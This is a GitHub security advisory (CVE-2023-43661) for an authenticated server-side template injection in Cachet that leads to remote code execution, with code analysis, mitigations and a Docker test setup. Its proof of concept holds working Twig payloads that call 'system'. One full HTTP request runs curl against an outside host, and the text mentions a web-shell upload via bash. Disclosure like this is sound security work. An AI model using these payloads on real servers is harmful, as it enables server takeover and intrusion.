Skip to content

Authenticated Remote Code Execution via SSTI

Critical
jbrooksuk published GHSA-hv79-p62r-wg3p Oct 11, 2023

Package

CreateIncidentCommandHandler.php (PHP)

Affected versions

Latest

Patched versions

None

Description

Summary

A template functionality which allows users to create templates allows them to execute any code on the server during the bad filtration and old twig version.

Details

/cachet/app/Http/Routes/ApiRoutes.php

Here is one interesting route which is under the auth middleware:

$router->group(['middleware' => ['auth.api:true']], function (Registrar $router) {
                 ...
                $router->post('incidents', 'IncidentController@store');
                ...

Code inside this controller:

    public function store()
    {
        try {
            $incident = execute(new CreateIncidentCommand(
                Binput::get('name'),
                Binput::get('status'),
                Binput::get('message', null, false, false),
                (bool) Binput::get('visible', true),
                Binput::get('component_id'),
                Binput::get('component_status'),
                (bool) Binput::get('notify', true),
                (bool) Binput::get('stickied', false),
                Binput::get('occurred_at'),
                Binput::get('template'),
                Binput::get('vars', []),
                Binput::get('meta', [])
            ));
        } catch (QueryException $e) {
            throw new BadRequestHttpException();
        }

        return $this->item($incident);
    }

Interesting part here in next code lines:

Binput::get('template'),
                Binput::get('vars', []),
                Binput::get('meta', [])

Hacker is able to control template input which will be after passed to laravel's dispatched handler:
/cachet/app/Bus/Handlers/Commands/Incident/CreateIncidentCommandHandler.php

 public function handle(CreateIncidentCommand $command)
    {
        $data = [
            'user_id'  => $this->auth->user()->id,
            'name'     => $command->name,
            'status'   => $command->status,
            'visible'  => $command->visible,
            'stickied' => $command->stickied,
        ];

        if ($template = IncidentTemplate::where('slug', '=', $command->template)->first()) {
            $data['message'] = $this->parseTemplate($template, $command);
        } else {
            $data['message'] = $command->message;
        }
        ...

And the content of the parseTemplate method:

    protected function parseTemplate(IncidentTemplate $template, CreateIncidentCommand $command)
    {
        $env = new Twig_Environment(new Twig_Loader_Array([]));
        $template = $env->createTemplate($template->template);

        $vars = array_merge($command->template_vars, [
            'incident' => [
                'name'             => $command->name,
                'status'           => $command->status,
                'message'          => $command->message,
                'visible'          => $command->visible,
                'notify'           => $command->notify,
                'stickied'         => $command->stickied,
                'occurred_at'      => $command->occurred_at,
                'component'        => Component::find($command->component_id) ?: null,
                'component_status' => $command->component_status,
            ],
        ]);

        return $template->render($vars);
    }

As you can see if an attacker is able to control this data, he is also able to trigger SSTI (server-side template injection) vulnerability to obtain RCE (Remote Code Execution).

PoC

  1. Log in as a default user (Not an admin);
  2. Create an incident with name slug1 and with content: {{ ['curl yourhost.com','']|sort('system') }} or with any other content for Remote code execution via the Twig, for instance: {{[0]|reduce('system','curl yourhost.com')}};
  3. Get an API token from your account settings (X-Cachet-Token);
  4. Trigger remote code execution using the api route:
POST /api/v1/incidents HTTP/1.1
Host: myapp
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: XSRF-TOKEN=eyJpdiI6InZUVVpkRmx1VFlhcytVQkQ1Zk81b1E9PSIsInZhbHVlIjoiSlE0Tmt1cjVoRHFSOHBIR3RoYlAwS0dNZlVHbm02d0tWVW1ERVRvblZTTW1TMHV2MFJUYTNwQWQyZ3pQM1VlMyIsIm1hYyI6IjU4YzAxZjgyYWE4YTU4MTExMDQ3OGRhOTNlYThlZTYxMzI5YzBhMWVhM2RjYzA2ODgzMGVhMGQ5Njg2YTMyMjkifQ%3D%3D; laravel_session=eyJpdiI6IldZcHhMSjBYRmQzUXdGTTRQbGFQTWc9PSIsInZhbHVlIjoiSkRxWncxdWs3Y29ZcXVHMlJ0U2pVVVwvMGdvSUJNK2pEMnhsR2QzVnE1MmMxMWJxUm96K1VnalwvS1pYcXE2cGllIiwibWFjIjoiMDM0MGIxNjRlM2VhOGU5Mzg2OWVkYjZjNmJhY2JlMTE3OTdkMDRkZTQ1NzI5NTMzNzI4YjA5YTcwNzM2M2E5YyJ9
Connection: close
X-Cachet-Token: OeiLJ6G6kjsBXeyOo97z
Content-Length: 109
Content-type: application/json

{"template":"slug1", "name":"{{ ['curl pwned.riven.pw','']|sort('system') }}", "status":2, "visible":1}
  1. Obtain Remote Code Execution. You can also upload a web-shell using some base64 tricks with pipe to bash.

Impact

Server-side template injection is when an attacker is able to use native template syntax to inject a malicious payload into a template, which is then executed server-side.

Template engines are designed to generate web pages by combining fixed templates with volatile data. Server-side template injection attacks can occur when user input is concatenated directly into a template, rather than passed in as data. This allows attackers to inject arbitrary template directives in order to manipulate the template engine, often enabling them to take complete control of the server. As the name suggests, server-side template injection payloads are delivered and evaluated server-side, potentially making them much more dangerous than a typical client-side template injection.

Mitigation

  1. Update TWIG to the latest version;
  2. Filter user-controlled data by any safe pattern;
  3. Use sandboxed twig mode;
  4. Don't allow users (Non-admins) to trigger this vulnerability via the API endpoint.

Testing

For the testing I used the next configuration:

docker-compose.yml

version: '3.1'

services:

  postgres:
    image: postgres
    restart: always
    environment:
      POSTGRES_PASSWORD: postgres
      POSTGRES_USER: postgres
      POSTGRES_DB: cachet

  cachet:
    build:
      context: .
      dockerfile: Dockerfile
    ports:
      - "80:80"
    depends_on:
      - postgres
    restart: always
    extra_hosts:
      - "host.docker.internal:host-gateway"

Dockerfile

FROM php:7.4-apache

# Installing necessary deps for laravel #
RUN apt-get update && apt-get install git libpq-dev libzip-dev p7zip-full -y --no-install-recommends
WORKDIR /var/www/html

RUN git clone https://github.com/cachethq/cachet.git .

# Installing docker deps for debug and laravel #
RUN pecl install xdebug-2.9.2 && \
    docker-php-ext-install zip && \
    docker-php-ext-enable xdebug zip && \
    docker-php-ext-install pdo pdo_pgsql pgsql

# Configuring XDebug #
RUN echo "zend_extension=/usr/local/lib/php/extensions/no-debug-non-zts-20190902/xdebug.so\n\n[xdebug]\nxdebug.mode=debug\nxdebug.start_with_request=yes\nxdebug.client_host=\"host.docker.internal\"\nxdebug.client_port=9000\nxdebug.log=/tmp/xdebug.log\nxdebug.remote_enable=1\nxdebug.remote_autostart=1\nxdebug.remote_host=\"host.docker.internal\"" >> /usr/local/etc/php/conf.d/docker-php-ext-xdebug.ini

# Installing composer #
RUN php -r "copy('https://getcomposer.org/installer', 'composer-setup.php');" && \
    php -r "if (hash_file('sha384', 'composer-setup.php') === 'e21205b207c3ff031906575712edab6f13eb0b361f2085f1f1237b7126d785e826a450292b6cfd1d64d92e6563bbde02') { echo 'Installer verified'; } else { echo 'Installer corrupt'; unlink('composer-setup.php'); } echo PHP_EOL;" && \
    php composer-setup.php && \
    php -r "unlink('composer-setup.php');"

# Copying files #
COPY entrypoint.sh /usr/bin
COPY .htaccess /var/www/html
COPY .env /var/www/html

# Creating phpinfo for debug purposes #
RUN echo '<?php phpinfo(); ?>' > /var/www/html/public/info.php

ENTRYPOINT ["/usr/bin/entrypoint.sh"]

entrypoint.sh

#!/bin/bash

mv composer.phar /usr/local/bin/composer
composer install -n

php artisan key:generate --show

chown -R www-data:www-data /var/www/html

php artisan migrate:fresh --force -vvv

a2enmod rewrite
apachectl -D FOREGROUND
exec "$@"

My XDebug launch.json content:

{
    // Use IntelliSense to learn about possible attributes.
    // Hover to view descriptions of existing attributes.
    // For more information, visit: https://go.microsoft.com/fwlink/?linkid=830387
    "version": "0.2.0",
    "configurations": [
        {
            "name": "Listen for Xdebug",
            "type": "php",
            "request": "launch",
            "port": 9000, 
            "pathMappings":{
                "/var/www/html/": "${workspaceFolder}"
            }
        }
    ]
}

Different from other CVES

New vulnerability exists NOT in the TWIG library ITSELF, it exists during the process of the cachet processing of the attacker data without any filtration.

Imagine that you have python3 application, which uses jinja2 for processing different types of templates. And, for instance, it uses render_template_string. If attacker is able to pass some values, like: {{ 7+7 }} to this function - he is able to obtain SSTI.

About your link: https://nvd.nist.gov/vuln/detail/CVE-2022-23614 there is NO sandbox in cachet, that's why your link can't even be used there. Please, check Mitigation section.

Severity

Critical
9.1
/ 10

CVSS base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Changed
Confidentiality
High
Integrity
Low
Availability
Low
CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:L

CVE ID

CVE-2023-43661

Weaknesses

No CWEs

Credits